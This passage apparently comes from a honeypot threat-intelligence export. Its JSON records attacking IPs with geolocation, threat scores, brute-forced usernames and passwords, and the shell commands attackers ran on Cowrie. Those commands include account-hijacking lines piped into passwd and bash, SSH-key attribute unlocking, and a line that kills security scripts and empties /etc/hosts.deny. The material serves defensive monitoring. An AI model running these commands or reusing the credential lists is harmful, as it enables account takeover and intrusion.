        "first_seen_30d": "2026-05-20T18:30:36.896000+00:00",
        "last_seen_30d": "2026-05-21T06:32:37.386000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 109
      }
    },
    "38.147.122.123": {
      "attack_count": 213,
      "first_seen": "2026-05-23T01:44:00.547Z",
      "last_seen": "2026-05-23T02:40:44.576Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "matlab",
        "support",
        "extern",
        "smart",
        "sonar",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Mm",
        "123@@@",
        "Admin@123.com",
        "Cc.123456",
        "Ch123456",
        "Itsemoemo2025@Washere2025",
        "Qwer1234.",
        "extern",
        "matlab",
        "qwert1234",
        "smart@123",
        "sonar",
        "user123!",
        "welcome@2024",
        "z"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Itsemoemo2025@Washere2025\\nC8jGhTRHfQOb\\nC8jGhTRHfQOb\\n\"|passwd",
        "echo \"matlab\\nFQSdGeSGf6tJ\\nFQSdGeSGf6tJ\\n\"|passwd",
        "echo -e \"Itsemoemo2025@Washere2025\\nC8jGhTRHfQOb\\nC8jGhTRHfQOb\"|passwd|bash",
        "echo -e \"matlab\\nFQSdGeSGf6tJ\\nFQSdGeSGf6tJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Malang",
      "asn": 55688,
      "as_org": "PT. Beon Intermedia",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:44:00.547000+00:00",
        "last_seen_30d": "2026-05-23T02:41:45.681000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "42.100.24.7": {
      "attack_count": 200,
      "first_seen": "2026-05-19T06:59:52.476Z",
      "last_seen": "2026-05-19T17:59:43.096Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:59:52.476000+00:00",
        "last_seen_30d": "2026-05-19T18:00:46.331000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 110
      }
    },
    "62.132.18.142": {
      "attack_count": 193,
      "first_seen": "2026-05-28T07:02:51.982Z",
      "last_seen": "2026-05-28T07:24:39.602Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "serv",
        "deploy",
        "developer",
        "jose",
        "pc",
        "tuan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123456qQ",
        "Lg123456",
        "Zx123456@",
        "developer@2024",
        "fjbdfdjkdsfs541544",
        "jose",
        "qwe123QWE!@#",
        "serv",
        "tuan123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"fjbdfdjkdsfs541544\\nIZn2QqSb0KBb\\nIZn2QqSb0KBb\\n\"|passwd",
        "echo \"serv\\n6ifmPuycdN0b\\n6ifmPuycdN0b\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nIZn2QqSb0KBb\\nIZn2QqSb0KBb\"|passwd|bash",
        "echo -e \"serv\\n6ifmPuycdN0b\\n6ifmPuycdN0b\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:02:51.982000+00:00",
        "last_seen_30d": "2026-05-28T07:25:46.323000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 35
      }
    },
    "111.179.62.246": {
      "attack_count": 172,
      "first_seen": "2026-05-19T06:56:02.733Z",
      "last_seen": "2026-05-19T17:48:09.647Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:56:02.733000+00:00",
        "last_seen_30d": "2026-05-19T17:49:18.519000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 96
      }
    },
    "165.154.227.8": {
      "attack_count": 169,
      "first_seen": "2026-05-02T10:42:11.440Z",
      "last_seen": "2026-05-02T11:50:04.694Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "odoo",
        "345gs5662d34",
        "admin123",
        "esuser",
        "gitlab",
        "guest",
        "kafka",
        "server",
        "tempadmin",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "123",
        "12345",
        "123456aA",
        "3245gs5662d34",
        "345gs5662d34",
        "4rfv$RFV",
        "6666",
        "P@ssw0rds",
        "Password1!",
        "admin123.0",
        "admin2023",
        "admin456",
        "boss",
        "gitlab1",
        "kafka1234",
        "odooserver",
        "tempadmin",
        "ubuntuserver"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"odooserver\\nGFodrjxrG09H\\nGFodrjxrG09H\\n\"|passwd",
        "echo -e \"odooserver\\nGFodrjxrG09H\\nGFodrjxrG09H\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:42:11.440000+00:00",
        "last_seen_30d": "2026-05-02T11:51:11.035000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 52
      }
    },
    "164.92.161.148": {
      "attack_count": 163,
      "first_seen": "2026-05-25T12:33:15.941Z",
      "last_seen": "2026-05-25T13:48:12.721Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "arthur",
        "cloud",
        "curl",
        "dmdba",
        "root/1",
        "school",
        "sftp",
        "teamspeak"
      ],
      "passwords_attempted": [
        "123456",
        "1984",
        "1Qazxsw2",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "AAbb1234",
        "Qwert12345!",
        "Root2025.",
        "Wangsu@2017",
        "a741852963",
        "arthur",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "matrix",
        "qq123456!",
        "root",
        "school",
        "sftp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WADdCcgWdejz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.5,
        "persistence": 6.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 8,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T11:29:23+00:00",
        "last_seen_30d": "2026-05-31T21:59:59.171000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 57,
        "Honeytrap": 4
      }
    },
    "170.106.101.241": {
      "attack_count": 159,
      "first_seen": "2026-05-19T21:08:17.801Z",
      "last_seen": "2026-05-19T21:38:03.883Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$1234QWER",
        "1122",
        "123456qaz",
        "Tech$123",
        "WW123456.",
        "a1s2d3f4g5",
        "ahti",
        "alejo",
        "aq1sw2de3",
        "asdf",
        "claude",
        "conrad",
        "cygnusx1",
        "hong123",
        "miranda",
        "nelson",
        "nvidia1",
        "rock"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:08:17.801000+00:00",
        "last_seen_30d": "2026-05-19T21:39:06.683000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 59
      }
    },
    "51.75.149.221": {
      "attack_count": 126,
      "first_seen": "2026-05-08T10:18:10.683Z",
      "last_seen": "2026-05-31T21:49:49.353Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:18:10.683000+00:00",
        "last_seen_30d": "2026-05-31T21:50:54.647000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "160.155.68.8": {
      "attack_count": 112,
      "first_seen": "2026-05-22T22:06:32.981Z",
      "last_seen": "2026-05-22T23:05:52.400Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dennis",
        "testuser"
      ],
      "passwords_attempted": [
        "!@#123qwe",
        "#EDC4rfv",
        "1",
        "3245gs5662d34",
        "Amir@123",
        "QWERasdf1234",
        "dennis123",
        "root.123",
        "s"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dennis123\\n1zUd4jKhHr8d\\n1zUd4jKhHr8d\\n\"|passwd",
        "echo -e \"dennis123\\n1zUd4jKhHr8d\\n1zUd4jKhHr8d\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ivory Coast",
      "country_code": "CI",
      "city": "Abidjan",
      "asn": 29571,
      "as_org": "ORANGE-COTE-IVOIRE",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:06:32.981000+00:00",
        "last_seen_30d": "2026-05-22T23:11:55.400000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 34
      }
    },
    "27.79.40.178": {
      "attack_count": 102,
      "first_seen": "2026-05-07T00:23:47.693Z",
      "last_seen": "2026-05-07T00:31:47.833Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ftp",
        "ftpuser",
        "guest",
        "rebecca",
        "support",
        "system",
        "test",
        "user",
        "username"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "password",
        "0l0ctyQh243O63uD",
        "12345",
        "OkwKcECs8qJP2Z",
        "admin123",
        "admin@123",
        "asteriskftp",
        "ftp",
        "guest",
        "p@ssw0rd",
        "rebecca",
        "root123",
        "temp",
        "test",
        "trustix"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:23:47.693000+00:00",
        "last_seen_30d": "2026-05-07T00:32:54.971000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 43
      }
    },
    "177.62.61.234": {
      "attack_count": 64,
      "first_seen": "2026-05-14T01:50:20.048Z",
      "last_seen": "2026-05-14T02:06:36.515Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itatiba",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:50:20.048000+00:00",
        "last_seen_30d": "2026-05-14T02:07:43.937000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 33
      }
    },
    "68.235.63.123": {
      "attack_count": 54,
      "first_seen": "2026-05-05T01:05:03.518Z",
      "last_seen": "2026-05-17T16:58:04.300Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:05:03.518000+00:00",
        "last_seen_30d": "2026-05-17T16:59:07.354000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "112.248.188.242": {
      "attack_count": 50,
      "first_seen": "2026-05-06T16:24:50.393Z",
      "last_seen": "2026-05-06T16:30:14.777Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:24:50.393000+00:00",
        "last_seen_30d": "2026-05-06T16:31:15.237000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "115.57.164.53": {
      "attack_count": 50,
      "first_seen": "2026-05-14T03:04:23.196Z",
      "last_seen": "2026-05-14T03:09:47.579Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:04:23.196000+00:00",
        "last_seen_30d": "2026-05-14T03:10:48.033000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.104.205": {
      "attack_count": 50,
      "first_seen": "2026-05-04T22:43:13.884Z",
      "last_seen": "2026-05-04T22:48:38.358Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:43:13.884000+00:00",
        "last_seen_30d": "2026-05-04T22:49:39.466000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.103.114.17": {
      "attack_count": 38,
      "first_seen": "2026-05-12T03:16:51.834Z",
      "last_seen": "2026-05-31T13:49:01.049Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "shilei",
        "sshuser"
      ],
      "passwords_attempted": [
        "123456",
        "qwerty"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.4,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:16:51.834000+00:00",
        "last_seen_30d": "2026-05-31T13:59:01.214000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 31
      }
    },
    "177.56.235.163": {
      "attack_count": 38,
      "first_seen": "2026-05-20T19:35:03.410Z",
      "last_seen": "2026-05-21T05:29:32.053Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:35:03.410000+00:00",
        "last_seen_30d": "2026-05-21T05:30:41.885000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 19
      }
    },
    "131.222.210.112": {
      "attack_count": 32,
      "first_seen": "2026-05-24T10:54:04.301Z",
      "last_seen": "2026-05-24T11:04:14.396Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:54:04.301000+00:00",
        "last_seen_30d": "2026-05-24T11:16:02.667000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 19
      }
    },
    "137.59.230.198": {
      "attack_count": 32,
      "first_seen": "2026-05-15T22:33:50.597Z",
      "last_seen": "2026-05-15T22:37:53.080Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:33:50.597000+00:00",
        "last_seen_30d": "2026-05-15T22:38:53.864000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "191.56.185.201": {
      "attack_count": 30,
      "first_seen": "2026-05-20T00:37:00.255Z",
      "last_seen": "2026-05-23T12:42:37.407Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
